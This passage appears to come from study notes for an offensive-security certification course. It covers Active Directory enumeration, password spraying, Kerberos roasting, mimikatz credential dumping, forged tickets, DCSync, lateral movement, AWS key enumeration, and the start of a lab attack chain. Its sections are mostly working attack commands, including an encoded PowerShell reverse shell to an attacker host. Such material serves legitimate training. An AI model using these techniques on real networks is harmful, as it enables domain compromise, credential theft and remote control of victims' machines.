PS C:\Tools> Get-ObjectAcl -Identity "<GROUP>" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

# Convert a batch of SIDs (-512 Domain Admins, -519 Enterprise Admins, S-1-5-32-548 Account Operators, S-1-5-18 SYSTEM)
PS C:\Tools> "<SID1>","<SID2>","<SID3>" | Convert-SidToName
# Abuse GenericAll on a group: add yourself, verify, remove when done
PS C:\Tools> net group "<GROUP>" <USER> /add /domain
PS C:\Tools> Get-NetGroup "<GROUP>" | select member
PS C:\Tools> net group "<GROUP>" <USER> /del /domain
# your own user is in the list with GenericAll = misconfiguration worth chasing

16.9 Domain shares, SYSVOL and GPP passwords

# Every share in the domain, then only the ones you can open
PS C:\Tools> Find-DomainShare
PS C:\Tools> Find-DomainShare -CheckShareAccess

# SYSVOL is readable by every domain user: look for old policies and scripts
PS C:\Tools> ls \\<DC_FQDN>\sysvol\<DOMAIN>\
PS C:\Tools> ls \\<DC_FQDN>\sysvol\<DOMAIN>\Policies\
PS C:\Tools> cat \\<DC_FQDN>\sysvol\<DOMAIN>\Policies\<POLICY_DIR>\<FILE>.xml
# -> cpassword="+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"
# GPP cpassword: AES-256 with a key Microsoft published -> decrypt on Kali (usually a local admin password)
kali@kali:~$ gpp-decrypt "<CPASSWORD>"
# -> P@$$w0rd
# Custom shares: read docs/emails for cleartext passwords, add them to passwords.txt and spray
PS C:\Tools> ls \\<FILE_SERVER>\<SHARE>
PS C:\Tools> ls \\<FILE_SERVER>\<SHARE>\docs\do-not-share
PS C:\Tools> cat \\<FILE_SERVER>\<SHARE>\docs\do-not-share\start-email.txt

16.10 SharpHound collection

# Kali copy of the collector (matches the installed BloodHound version)
kali@kali:~$ cp /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1 .
kali@kali:~$ python3 -m http.server 8000
# Pull, load and run on the domain client (noisy: lots of LDAP/SMB traffic)
PS C:\Users\<USER>> iwr -uri http://<LHOST>:8000/SharpHound.ps1 -Outfile SharpHound.ps1
PS C:\Users\<USER>> powershell -ep bypass
PS C:\Users\<USER>> Import-Module .\Sharphound.ps1
# (dot-sourcing works too: . .\SharpHound.ps1)
PS C:\Users\<USER>> Get-Help Invoke-BloodHound

# All = every method except local group policies; writes <timestamp>_BloodHound.zip (+ a .bin cache you can delete)
PS C:\Users\<USER>> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\<USER>\Desktop\ -OutputPrefix "corp audit"
# useful flags: -Loop -LoopDuration -LoopInterval (sessions over time), -ZipPassword, -Stealth,
#               -DomainController, -LdapUsername / -LdapPassword
# "The LDAP server is unavailable" can print and collection still completes
# Get the zip back to Kali: see section 21.2 (smbserver, meterpreter download, RDP drive)

16.11 BloodHound analysis

# Neo4j first (web UI http://localhost:7474, default neo4j/neo4j, forced change on first login)
kali@kali:~$ sudo neo4j start
# then the GUI; Upload Data -> pick the SharpHound zip
kali@kali:~$ bloodhound
Query (Analysis tab or Raw Query)Use it for
Find all Domain AdminsHigh-value targets
Find Shortest Paths to Domain AdminsOverall path
Shortest Paths to Domain Admins from Owned PrincipalsPath from what you hold (mark nodes owned first, else "NO DATA RETURNED")
Find Computers where Domain Users are Local AdminFree local admin
Find Workstations / Servers where Domain Users can RDPWhere to RDP with any user
List all Kerberoastable AccountsSection 17.7 targets
MATCH (m:Computer) RETURN mAll computers (fill computer.txt)
MATCH (m:User) RETURN mAll users (fill usernames.txt)
MATCH p = (c:Computer)-[:HasSession]->(m:User) RETURN pWho is logged on where
# Reading the graph
# right-click node -> Mark User/Computer as Owned (skull icon) for every account/host you hold
# edges: AdminTo (local admin), HasSession (creds in LSASS), MemberOf, GenericAll/GenericWrite/...
# click an edge -> Help -> Abuse tab gives the exact abuse steps
# a local Administrator (RID 500) session on several hosts hints at a shared local admin password

16.12 Enumeration checks before you move on

# [ ] net user/group /domain done, admin-looking names and Domain Admins members noted
# [ ] nested groups unravelled (LDAPSearch / Get-NetGroup), ACLs on your user and its groups checked
# [ ] Find-LocalAdminAccess + PsLoggedon/Get-NetSession on every computer from Get-NetComputer
# [ ] Get-NetUser -SPN and AS-REP roastable users listed
# [ ] SYSVOL Policies read for cpassword, every readable custom share opened
# [ ] SharpHound run, owned nodes marked, "from Owned Principals" queries run
# [ ] repeat all of the above from every new user / host you compromise
# [ ] goal is not always Domain Admins: file/DB servers and service accounts may be the real target

17. Attacking Active Directory Authentication

17.1 Theory: NTLM, Kerberos, cached credentials

NTLM is challenge-response: the server sends a nonce, the client encrypts it with the NTLM hash, the DC checks it; it is used when you connect by IP or to an unregistered name. Kerberos is ticket-based: AS-REQ/AS-REP gives a TGT (encrypted with the krbtgt hash, valid 10h), TGS-REQ/TGS-REP gives a service ticket encrypted with the service account's hash, and you connect by hostname. LSASS caches NTLM hashes and tickets (and cleartext when WDigest is on); reading it needs local admin or SYSTEM plus SeDebugPrivilege.

17.2 Which attack when

You holdAttackTool (Windows / Kali)Section
Any domain user passwordAS-REP roast users without preauthRubeus asreproast / impacket-GetNPUsers17.6
Any domain user passwordKerberoast user accounts with an SPNRubeus kerberoast / impacket-GetUserSPNs17.7
A password from anywhereSpray it at all users (check lockout first)Spray-Passwords.ps1, kerbrute / crackmapexec smb17.5
Local admin on a host where others are logged onDump LSASSmimikatz sekurlsa::logonpasswords17.3
NTLM hash of a service account + domain SIDSilver ticket for that servicemimikatz kerberos::golden /service17.8
Domain Admin / Enterprise Admin / Administrators (or the 3 replication rights)DCSync any hash incl. krbtgtmimikatz lsadump::dcsync / impacket-secretsdump17.9
GenericWrite / GenericAll on a userTargeted AS-REP roast or Kerberoastset flag or SPN, roast, revert17.6, 17.7

17.3 Mimikatz: cached credentials and tickets

# RDP in as a user who is local admin on a host where your target user has a session
kali@kali:~$ xfreerdp /cert-ignore /u:<USER> /d:<DOMAIN> /p:<PASS> /v:<TARGET>
# From an Administrator PowerShell; privilege::debug is needed to open LSASS
PS C:\Windows\system32> cd C:\Tools
PS C:\Tools\> .\mimikatz.exe
mimikatz # privilege::debug
# -> Privilege '20' OK
# Dump every logged-on user: msv = NTLM/SHA1, wdigest/kerberos = cleartext when available
mimikatz # sekurlsa::logonpasswords
# Make the host cache a TGS by touching a share, then list cached tickets
PS C:\Users\<USER>> dir \\<TARGET_HOST_FQDN>\<SHARE>
mimikatz # sekurlsa::tickets
# TGT (service krbtgt) = request any TGS as that user; TGS (e.g. cifs/web04) = only that service
# non-exportable cert private keys: crypto::capi (patch CryptoAPI) or crypto::cng (patch KeyIso)

17.4 Password policy before spraying

# Read the lockout rules first
PS C:\Users\<USER>> net accounts
# -> Lockout threshold: 5   Lockout observation window (minutes): 30
# threshold 5 = stay at 4 tries per window; 30 min window = about 192 tries per user per 24h

17.5 Password spraying three ways

# 1. LDAP / ADSI (Windows, low and slow): a DirectoryEntry built with creds authenticates
PS C:\Users\<USER>> $domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
PS C:\Users\<USER>> $PDC = ($domainObj.PdcRoleOwner).Name
PS C:\Users\<USER>> $SearchString = "LDAP://"
PS C:\Users\<USER>> $SearchString += $PDC + "/"
PS C:\Users\<USER>> $DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
PS C:\Users\<USER>> $SearchString += $DistinguishedName
PS C:\Users\<USER>> New-Object System.DirectoryServices.DirectoryEntry($SearchString, "<TEST_USER>", "<PASS>")
# valid = object with distinguishedName/Path; invalid = "The user name or password is incorrect."

# Same idea, scripted over all domain users (-File <wordlist> for a list, -Admin to include admins)
PS C:\Tools> powershell -ep bypass
PS C:\Tools> .\Spray-Passwords.ps1 -Pass <PASS> -Admin
# -> Guessed password for user: 'pete' = 'Nexus123!'
# 2. SMB from Kali: noisy, ignores the lockout policy; (Pwn3d!) = local admin on that host
kali@kali:~$ crackmapexec smb <TARGET> -u users.txt -p '<PASS>' -d <DOMAIN> --continue-on-success
# single user check
kali@kali:~$ crackmapexec smb <TARGET> -u <USER> -p '<PASS>' -d <DOMAIN>
# every user x every found password (course chain)
kali@kali:~$ crackmapexec smb <TARGET> -u usernames.txt -p passwords.txt --continue-on-success
# 3. Kerberos with kerbrute: fast and quiet (one AS-REQ/AS-REP per try), Windows or Linux build
PS C:\Tools> .\kerbrute_windows_amd64.exe passwordspray -d <DOMAIN> .\usernames.txt "<PASS>"
# -> [+] VALID LOGIN: jen@corp.com:Nexus123!
# network error -> save usernames.txt as ANSI
# Linux: kinit also gets and caches a TGT from user + password
kali@kali:~$ kinit <USER>@<REALM>

17.6 AS-REP roasting

# When: users with "Do not require Kerberos preauthentication" -> AS-REP crackable offline
# list only (no -request): vulnerable users shown
kali@kali:~$ impacket-GetNPUsers -dc-ip <DC_IP> <DOMAIN>/<USER>
# request and save in hashcat format (asks for <USER>'s password)
kali@kali:~$ impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USER>

# Find the mode, then crack (AS-REP etype 23 = 18200)
kali@kali:~$ hashcat --help | grep -i "Kerberos"
kali@kali:~$ sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
# -> $krb5asrep$23$dave@CORP.COM:...:Flowers1
# Windows: Rubeus finds vulnerable users itself as any domain user; /nowrap = one-line hash
PS C:\Tools> .\Rubeus.exe asreproast /nowrap
# PowerView: who has preauth disabled
PS C:\Tools> Get-DomainUser -PreauthNotRequired
# LDAP filter Rubeus uses: (&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))
# Targeted: GenericWrite/GenericAll on a user -> set DONT_REQ_PREAUTH (UAC 4194304), roast, set it back

17.7 Kerberoasting

# When: user accounts with an SPN; any domain user can request their TGS (no rights check)
PS C:\Tools> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast
# -> SamAccountName : iis_service   ServicePrincipalName : HTTP/web04.corp.com:80
# AES-enabled accounts return AES hashes; /tgtdeleg or /ticket:X forces RC4
# Kali: needs DC IP and valid domain creds (Kali is not domain-joined)
kali@kali:~$ sudo impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>
# through a pivot (course chain)
kali@kali:~$ proxychains -q impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>

# Crack TGS-REP etype 23 = 13100
kali@kali:~$ sudo hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

# KRB_AP_ERR_SKEW (Clock skew too great): read the DC time, fake it for this one process only
kali@kali:~$ net time -S <DC_IP>
kali@kali:~$ faketime '<YYYY-MM-DD HH:MM:SS>' impacket-GetUserSPNs -request -dc-ip <DC_IP> <DOMAIN>/<USER>
# (the course also names ntpdate for reading DC time; do not change the Kali system clock)
# Skip: computer accounts, (g)MSA and krbtgt SPNs -> random 120-char passwords, not crackable
# Targeted: GenericWrite/GenericAll on a user -> add an SPN, kerberoast, crack, delete the SPN
# An SPN like http/internalsrv1 hints the account logs into that web app (course chain step 20)

17.8 Silver tickets

# Need 3 things: service account NTLM hash, domain SID, target SPN. First confirm you are denied.
PS C:\Users\<USER>> iwr -UseDefaultCredentials http://<TARGET_HOST>
# -> 401 - Unauthorized
# 1. Service account NTLM hash (local admin on a host where that account has a session)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# -> iis_service NTLM : 4d28cf5252d39971419580a51484ca09

# 2. Domain SID = your user SID minus the last RID
PS C:\Users\<USER>> whoami /user
# -> S-1-5-21-1987370270-658905905-1781884369-1105  => domain SID ends before -1105

# 3. Forge and inject (/user = any EXISTING domain user; groups 513 512 520 518 519 added)
mimikatz # kerberos::golden /sid:<DOMAIN_SID> /domain:<DOMAIN> /ptt /target:<TARGET_HOST_FQDN> /service:http /rc4:<SPN_NTLM> /user:<IMPERSONATE_USER>

# 4. Ticket cached? then retry the resource
PS C:\Tools> klist
PS C:\Tools> iwr -UseDefaultCredentials http://<TARGET_HOST>
# -> StatusCode : 200
# works because services rarely validate the PAC; since the Oct 2022 PAC patch /user must exist
# Kali equivalent (not in the course): forge with impacket, then use the ccache
kali@kali:~$ impacket-ticketer -nthash <SPN_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn <SERVICE>/<TARGET_HOST_FQDN> <IMPERSONATE_USER>
kali@kali:~$ export KRB5CCNAME=$PWD/<IMPERSONATE_USER>.ccache

17.9 DCSync

# When: you control a DA / EA / Administrators member (or an account with Replicating Directory
# Changes + Changes All + In Filtered Set). Pulls hashes over DRSUAPI, nothing touches the DC disk.
kali@kali:~$ xfreerdp /cert-ignore /u:<DA_USER> /d:<DOMAIN> /p:<DA_PASS> /v:<TARGET>
PS C:\Tools> .\mimikatz.exe
mimikatz # lsadump::dcsync /user:<NETBIOS_DOMAIN>\<TARGET_USER>
# -> Hash NTLM: 08d7a47a6f9f66b97b1bae4178747494
mimikatz # lsadump::dcsync /user:<NETBIOS_DOMAIN>\Administrator
# krbtgt hash -> golden ticket (section 18.11)
mimikatz # lsadump::dcsync /user:<NETBIOS_DOMAIN>\krbtgt
# Kali: secretsdump with DA creds; escape "!" inside double quotes
kali@kali:~$ impacket-secretsdump -just-dc-user <TARGET_USER> <DOMAIN>/<DA_USER>:"<DA_PASS>"@<DC_IP>
# -> dave:1103:aad3b435b51404eeaad3b435b51404ee:08d7a47a6f9f66b97b1bae4178747494:::
# drop -just-dc-user to dump everything the account can read

# Crack NTLM (mode 1000), or skip cracking and pass the hash (section 18.7)
kali@kali:~$ hashcat -m 1000 hashes.dcsync /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

17.10 AD authentication gotchas

# hashcat "Not enough allocatable device memory" -> give the Kali VM more RAM (4GB was enough)
# --force is needed to run hashcat inside a VM
# mimikatz.exe is heavily signatured; fine in the lab/exam, in real work dump LSASS and parse offline
# crackmapexec ignores the lockout policy -> read net accounts first
# every intended crack in the labs finishes in under 10 minutes with the right list; if it does not, switch vector
# DCSync of the domain Administrator (RID 500) gives a different hash than that host's local SAM Administrator

18. Lateral Movement in Active Directory

18.1 Theory: lateral movement

Lateral movement reuses authentication material (passwords, NTLM hashes, Kerberos tickets) to run code on the next host, usually without cracking anything. Most techniques need local admin on the target; UAC remote restrictions do not apply to domain accounts, so a domain user in the local Administrators group gets full rights. Connect by hostname to use Kerberos and by IP to force NTLM, and pick whichever the material in your hand supports. Every technique below can carry the base64 PowerShell reverse shell from 18.4.

18.2 Pick the technique

You holdTarget port openTechniqueRuns as / givesSection
Password, local admin on target135 (+49152-65535)WMI wmic / Invoke-CimMethodthat user, session 0, no output18.3
Password, Administrators or Remote Management Users5985 / 5986winrs, New-PSSession, evil-winrmthat user, interactive18.5
Password, local admin, ADMIN$ share445Sysinternals PsExec64 -ithat user, interactive cmd18.6
NTLM hash, local admin, NTLM allowed445impacket-wmiexec / impacket-psexec -hashesuser / SYSTEM18.7
NTLM hash, need Kerberos-only access88 to DC, 445Overpass the hash sekurlsa::pththat user via TGT18.8
Another user's ticket in LSASS on your hostservice portPass the ticket kerberos::pttthat user, that service18.9
Password, local admin135DCOM MMC20.Applicationadmin, session 018.10
krbtgt NTLM hash445 on DCGolden ticket + PsExec by hostnameany user, whole domain18.11
Domain Admin on the DClocalShadow copy of NTDS.ditevery domain hash18.12

18.3 WMI

# Deprecated wmic: create a process on the target as a local-admin domain user (ReturnValue = 0 = success)
C:\Users\<USER>>wmic /node:<TARGET> /user:<USER> /password:<PASS> process call create "calc"
# PowerShell WMI: PSCredential -> CIM session over DCOM -> Win32_Process Create
$username = '<USER>';
$password = '<PASS>';
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
$options = New-CimSessionOption -Protocol DCOM
$session = New-Cimsession -ComputerName <TARGET> -Credential $credential -SessionOption $Options
# replace 'calc' with the encoded reverse shell from 18.4
$command = 'calc';
Invoke-CimMethod -CimSession $Session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine =$Command};

18.4 Base64 PowerShell reverse shell payload

# encode.py: UTF-16LE base64 so the payload needs no escaping inside WMI/WinRM/DCOM/relay commands
import sys
import base64
payload = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
cmd = "powershell -nop -w hidden -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmd)
# Generate the command line and start the listener
kali@kali:~$ python3 encode.py
# -> powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAg...
kali@kali:~$ nc -lnvp 443

18.5 WinRM: winrs, PowerShell remoting, evil-winrm

# winrs: user must be in Administrators or Remote Management Users on the target (5985 HTTP / 5986 HTTPS)
C:\Users\<USER>>winrs -r:<TARGET_HOST> -u:<USER> -p:<PASS> "cmd /c hostname & whoami"
# reverse shell through winrs
C:\Users\<USER>>winrs -r:<TARGET_HOST> -u:<USER> -p:<PASS> "powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAg..."
# PowerShell remoting session (same WinRM rights)
PS C:\Users\<USER>> $username = '<USER>';
PS C:\Users\<USER>> $password = '<PASS>';
PS C:\Users\<USER>> $secureString = ConvertTo-SecureString $password -AsPlaintext -Force;
PS C:\Users\<USER>> $credential = New-Object System.Management.Automation.PSCredential $username, $secureString;
PS C:\Users\<USER>> New-PSSession -ComputerName <TARGET> -Credential $credential
PS C:\Users\<USER>> Enter-PSSession 1
# domain enum tools break inside a remoting session (Kerberos double hop): enumerate over RDP instead
# From Kali (course, privesc module): escape every "!" in the password
kali@kali:~$ evil-winrm -i <TARGET> -u <USER> -p "<PASS>"
# evil-winrm also does pass the hash with -H and has upload/download built in
kali@kali:~$ evil-winrm -i <TARGET> -u <USER> -H <NTLM>

18.6 PsExec (Sysinternals)

# Needs: local Administrators member, ADMIN$ share, File and Printer Sharing (last two default on Server)
# Drops psexesvc.exe in C:\Windows, creates a service, runs your program as its child
PS C:\Tools\SysinternalsSuite> .\PsExec64.exe -i \\<TARGET_HOST> -u <DOMAIN>\<USER> -p <PASS> cmd
# gives an interactive shell directly, no reverse shell needed

18.7 Pass the hash

# NTLM only (not Kerberos), SMB 445 + ADMIN$, local admin rights. -hashes = LM:NT, LM can be empty
kali@kali:~$ /usr/bin/impacket-wmiexec -hashes :<NTLM> Administrator@<TARGET>
# -> files04\administrator

# psexec flavour: uploads a service binary, always lands as SYSTEM (LM part as 32 zeros)
kali@kali:~$ impacket-psexec -hashes 00000000000000000000000000000000:<NTLM> <USER>@<TARGET>

# Through the pivot (course chain: DA hash -> DC)
kali@kali:~$ proxychains -q impacket-psexec -hashes 00000000000000000000000000000000:<NTLM> <DA_USER>@<DC_IP>

# Read a share with the hash only
kali@kali:~$ smbclient \\\\<TARGET>\\<SHARE> -U Administrator --pw-nt-hash <NTLM>

# Spray one hash over many hosts (course names crackmapexec as PtH-capable; -H is its hash flag)
kali@kali:~$ crackmapexec smb <TARGETS> -u <USER> -H <NTLM> -d <DOMAIN> --continue-on-success
# PtH works for domain accounts and the built-in local Administrator (RID 500) only;
# other local admin accounts are blocked by the 2014 update (UAC remote restrictions)
# same local Administrator password on several hosts = one hash opens all of them

18.8 Overpass the hash

# When: you have an NTLM hash but the target/tool needs Kerberos (official PsExec takes no hashes)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# -> jen NTLM : 369def79d8372408bf6e93364cc93075
# spawn a process whose network logons use that hash
mimikatz # sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<NTLM> /run:powershell
# In the new window: whoami still shows the OLD user (it reads the token); trust klist instead
PS C:\Windows\system32> klist
# any domain action mints a TGT + TGS for the hash's user
PS C:\Windows\system32> net use \\<TARGET_HOST>
PS C:\Windows\system32> klist
# -> #0 Server: krbtgt/CORP.COM = TGT, #1 cifs/files04 = TGS
# Kerberos-only tool, BY HOSTNAME
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\<TARGET_HOST> cmd
# -> corp\jen

18.9 Pass the ticket

# When: another user (with access you lack) has a session on your host; TGS is host/service bound
PS C:\Windows\system32> whoami
PS C:\Windows\system32> ls \\<TARGET_HOST>\<SHARE>
# -> Access denied
# Export every ticket in LSASS to .kirbi files, pick the other user's TGS, inject it into your session
mimikatz # privilege::debug
mimikatz # sekurlsa::tickets /export
PS C:\Tools> dir *.kirbi
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
PS C:\Tools> klist
PS C:\Tools> ls \\<TARGET_HOST>\<SHARE>
# injecting your OWN tickets needs no admin; exporting other users' tickets does

18.10 DCOM (MMC20.Application)

# Local admin on target, RPC 135; run from an elevated PowerShell
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<TARGET>"))
# ExecuteShellCommand(Command, Directory, Parameters, WindowState)
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c calc","7")
# Verify on the target: process runs in session 0 (Services)
C:\Users\Administrator>tasklist | findstr "calc"
# Real payload: the encoded reverse shell from 18.4 (listener: nc -lnvp 443)
$dcom.Document.ActiveView.ExecuteShellCommand("powershell",$null,"powershell -nop -w hidden -e JABjAGwAaQBlAG4AdAAg...","7")

18.11 Golden ticket

# Before: no access to the DC as a normal user
C:\Tools\SysinternalsSuite>PsExec64.exe \\<DC_HOST> cmd.exe
# -> Couldn't access DC1: Access is denied.
# 1. krbtgt hash: on the DC as a Domain Admin (or DCSync it from anywhere, 17.9)
mimikatz # privilege::debug
mimikatz # lsadump::lsa /patch
# -> User : krbtgt (RID 502)  NTLM : 1693c6cefafffc7af11ef34d1c788f47

# 2. On any host, no admin needed: purge, forge (/krbtgt, not /rc4), inject, open a cmd that uses it
mimikatz # kerberos::purge
mimikatz # kerberos::golden /user:<EXISTING_USER> /domain:<DOMAIN> /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_NTLM> /ptt
mimikatz # misc::cmd
# defaults: user id 500, groups 513 512 520 518 519; since July 2022 /user must be an existing account
# 3. BY HOSTNAME = Kerberos = the golden ticket is used
C:\Tools\SysinternalsSuite>PsExec.exe \\<DC_HOST> cmd.exe
C:\Windows\system32>whoami /groups
# -> CORP\Domain Admins present
# by IP = NTLM = the ticket is ignored
C:\Tools\SysinternalsSuite> psexec.exe \\<DC_IP> cmd.exe
# -> Couldn't access 192.168.50.70: Access is denied.
# Kali equivalent (not in the course)
kali@kali:~$ impacket-ticketer -nthash <KRBTGT_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> <EXISTING_USER>
kali@kali:~$ export KRB5CCNAME=$PWD/<EXISTING_USER>.ccache

18.12 Shadow copies: NTDS.dit offline

# Domain Admin on the DC: snapshot C: (vshadow.exe = signed Windows SDK binary; -nw no writers, -p persistent)
C:\Tools>vshadow.exe -nw -p C:
# -> Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2

# Copy the locked NTDS.dit out of the snapshot, save the SYSTEM hive (holds the boot key)
C:\Tools>copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\ntds\ntds.dit c:\ntds.dit.bak
C:\>reg.exe save hklm\system c:\system.bak
# Transfer both files to Kali (section 21.2), then parse offline
kali@kali:~$ impacket-secretsdump -ntds ntds.dit.bak -system system.bak LOCAL
# -> Administrator:500:...:2892d26cdf84d7a70e2eb3b9f05c425e:::
# -> krbtgt:502:...:1693c6cefafffc7af11ef34d1c788f47:::
# DCSync (17.9) gets the same data with no disk artifacts and no tool upload

18.13 Moving through a pivot

# Internal hosts behind a dual-homed box: every Kali tool through proxychains (config in section 13)
kali@kali:~$ proxychains -q crackmapexec smb <INTERNAL_RANGE> -u <USER> -d <DOMAIN> -p "<PASS>" --shares
# nmap over SOCKS: TCP connect scan and no ping only
kali@kali:~$ sudo proxychains -q nmap -sT -oN nmap_servers -Pn -p 21,80,443 <INTERNAL_IPS>
# exam: a Meterpreter autoroute/socks_proxy pivot touches several machines = not allowed;
#       use chisel instead: Kali "chisel server --port 8080 --reverse", target "chisel client <LHOST>:8080 R:socks"

18.14 Lateral movement gotchas

# whoami after sekurlsa::pth shows the original user: expected, check klist
# PsExec / golden ticket "Access is denied" by IP -> use the hostname (Kerberos)
# PtH fails for a non-RID-500 local admin -> use a domain account or the built-in Administrator
# golden ticket for a non-existent user fails since July 2022 -> pick a real account
# WMI and DCOM processes run in session 0: no window, use a reverse shell to see output
# shadow copy leaves files on the DC disk -> delete ntds.dit.bak / system.bak afterwards
# after Domain Admin, revisit every machine: some are only reachable/exploitable with DA

19. AWS Cloud (not in the OSCP+ exam)

Theory: the AWS modules

Modules 25 and 26 are new in this PEN-200 edition and are not tested in the OSCP+ exam. They teach recon of cloud assets, AWS CLI based IAM enumeration from a set of leaked keys, and two attack chains (leaked secrets to a poisoned CI pipeline; dependency chain abuse with a malicious package). Keep this for the labs and for real engagements; skip it on exam day.

Recon of cloud resources

# Subdomains and service-specific names (S3 buckets, CloudFront, ELB) from DNS and page source
kali@kali:~$ dnsenum offseclab.io --threads 100
kali@kali:~$ curl -s www.offseclab.io | grep -o -P 'offseclab-assets-public-\w{8}'
# Guess bucket names across providers from a keyword / keyword file
kali@kali:~$ cloud_enum -k offseclab-assets-public-axevtewi --quickscan --disable-azure --disable-gcp
kali@kali:~$ cloud_enum -kf /tmp/keyfile.txt -qs --disable-azure --disable-gcp

AWS CLI with found keys

# Store a key pair as a profile, then confirm who you are (account id, user ARN)
kali@kali:~$ aws configure --profile target
kali@kali:~$ aws --profile target sts get-caller-identity
# Which account owns an access key id you found (no permissions needed)
kali@kali:~$ aws --profile challenge sts get-access-key-info --access-key-id AKIA...

# Public resources: buckets, AMIs, snapshots shared with everyone
kali@kali:~$ aws --profile attacker s3 ls offseclab-assets-public-kaykoour
kali@kali:~$ aws --profile attacker ec2 describe-images --executable-users all --filters "Name=name,Values=*Offseclab*"
kali@kali:~$ aws --profile attacker ec2 describe-snapshots --filters "Name=description,Values=*offseclab*"

# IAM enumeration from the compromised identity: what exists and what you may do
kali@kali:~$ aws --profile target iam get-account-summary | tee account-summary.json
kali@kali:~$ aws --profile target iam list-users | tee users.json
kali@kali:~$ aws --profile target iam list-groups | tee groups.json
kali@kali:~$ aws --profile target iam list-roles | tee roles.json
kali@kali:~$ aws --profile target iam list-policies --scope Local --only-attached | tee policies.json
kali@kali:~$ aws --profile target iam list-groups-for-user --user-name <USER>
kali@kali:~$ aws --profile target iam list-attached-user-policies --user-name <USER>
kali@kali:~$ aws --profile target iam list-user-policies --user-name <USER>
kali@kali:~$ aws --profile target iam list-attached-group-policies --group-name <GROUP>
kali@kali:~$ aws --profile target iam get-policy-version --policy-arn <POLICY_ARN> --version-id v1
# Everything in one call, filtered with JMESPath
kali@kali:~$ aws --profile target iam get-account-authorization-details --filter User Group LocalManagedPolicy Role | tee account-authorization-details.json
kali@kali:~$ aws --profile target iam get-account-authorization-details --filter User --query "UserDetailList[?contains(UserName, 'admin')].{Name: UserName}"
# Automated: Pacu (import keys, run iam__enum_permissions and friends)
kali@kali:~$ pacu

Attack chains in module 26 (summary)

  • Leaked secrets to poisoned pipeline: enumerate Jenkins and the Git server, download a public bucket, find keys in Git history, change the pipeline definition so the build runs your command, read the builder's role credentials, create a backdoor IAM user with the permissions you found.
  • Dependency chain abuse: OSINT on the application's packages, publish a package with the expected name to the registry the app pulls from, get code execution during install or at runtime inside the production container, scan the internal network from there, exploit Jenkins, use the discovered credentials and the Terraform state file to reach admin.

20. Assembling the Pieces: the Course Attack Chain

Theory: the BEYOND engagement

Module 27 runs one full engagement against BEYOND Finances: two external hosts (MAILSRV1 Windows mail/IIS, WEBSRV1 Linux WordPress) and an internal domain reached by phishing a user. The order below is the course's order with the command at each step. It is the template for an exam machine chain: enumerate, foothold, local privesc, loot, validate credentials everywhere, pivot, AD. The Meterpreter pivot in step 13 is what the exam does not allow across machines; the exam-safe replacements are ssh -D or chisel plus proxychains.

Step by step

# 1. Workspace: one directory per host, running creds.txt / usernames.txt / passwords.txt
kali@kali:~$ mkdir -p beyond/mailsrv1 beyond/websrv1 && cd beyond && touch creds.txt

# 2. Enumerate MAILSRV1 (hMailServer 25/110/143/587, IIS 80, SMB 139/445 with signing not required)
kali@kali:~/beyond$ sudo nmap -sC -sV -oN mailsrv1/nmap 192.168.50.242
kali@kali:~/beyond$ gobuster dir -u http://192.168.50.242 -w /usr/share/wordlists/dirb/common.txt -o mailsrv1/gobuster -x txt,pdf,config

# 3. Enumerate WEBSRV1 (OpenSSH 8.9p1 = Ubuntu 22.04, Apache 2.4.52, WordPress 6.0.2)
kali@kali:~/beyond$ sudo nmap -sC -sV -oN websrv1/nmap 192.168.50.244
kali@kali:~/beyond$ whatweb http://192.168.50.244
kali@kali:~/beyond$ wpscan --url http://192.168.50.244 --enumerate p --plugins-detection aggressive -o websrv1/wpscan
# -> duplicator 1.3.26 (outdated)

# 4. Public exploit for the plugin (CVE-2020-11738, unauthenticated arbitrary file read)
kali@kali:~/beyond$ searchsploit duplicator
kali@kali:~/beyond$ searchsploit -x 50420
kali@kali:~/beyond/websrv1$ searchsploit -m 50420

# 5. Foothold: read /etc/passwd for user names, then a private key, crack its passphrase, SSH in
